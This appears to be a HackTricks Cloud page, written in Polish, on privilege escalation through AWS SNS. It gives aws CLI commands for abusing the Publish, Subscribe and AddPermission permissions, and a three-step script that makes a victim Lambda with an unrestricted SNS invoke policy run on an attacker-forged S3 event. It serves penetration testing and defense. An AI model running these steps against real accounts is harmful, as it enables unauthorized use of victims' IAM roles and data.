AWS - SNS Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
SNS
Więcej informacji:
sns:Publish
attacker mógłby wysyłać złośliwe lub niechciane wiadomości do SNS topic, potencjalnie powodując uszkodzenie danych, wywołanie niezamierzonych działań lub wyczerpanie zasobów.
aws sns publish --topic-arn <value> --message <value>
Potencjalny wpływ: Wykorzystanie podatności, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów.
sns:Subscribe
Atakujący mógłby zasubskrybować temat SNS, potencjalnie uzyskując nieautoryzowany dostęp do wiadomości lub zakłócając poprawne działanie aplikacji korzystających z tego tematu.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potencjalny wpływ: Nieautoryzowany dostęp do wiadomości (wrażliwe informacje), zakłócenie działania aplikacji korzystających z dotkniętego topicu.
sns:AddPermission
Atakujący mógłby przyznać nieautoryzowanym użytkownikom lub usługom dostęp do SNS topic, potencjalnie uzyskując dalsze uprawnienia.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potencjalny wpływ: Nieautoryzowany dostęp do topic, ujawnienie wiadomości lub manipulacja topic przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego działania aplikacji polegających na tym topic.
Wywołanie funkcji Lambda przez nadużycie wildcardowego uprawnienia SNS (brak SourceArn)
Jeśli polityka oparta na zasobach funkcji Lambda pozwala sns.amazonaws.com na jej wywoływanie bez ograniczenia tematu źródłowego (SourceArn), dowolny topic SNS (nawet w innym koncie) może się zasubskrybować i wywołać funkcję. Atakujący z podstawowymi uprawnieniami do SNS może zmusić Lambda do wykonania pod rolą IAM z danymi wejściowymi kontrolowanymi przez atakującego.
Tip
TODO: Czy to naprawdę da się wykonać cross-account?
Preconditions
- Polityka funkcji Lambda ofiary zawiera poniższe oświadczenie, bez warunku
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Kroki nadużycia (na tym samym koncie lub między kontami)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Potencjalny wpływ: Poszkodowana Lambda uruchamia się z przypisaną rolą IAM, przetwarzając dane kontrolowane przez atakującego. Może to być wykorzystane do zmuszenia funkcji do wykonania wrażliwych operacji (np. zapis do S3, dostęp do sekretów, modyfikacja zasobów) w zależności od jej uprawnień.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

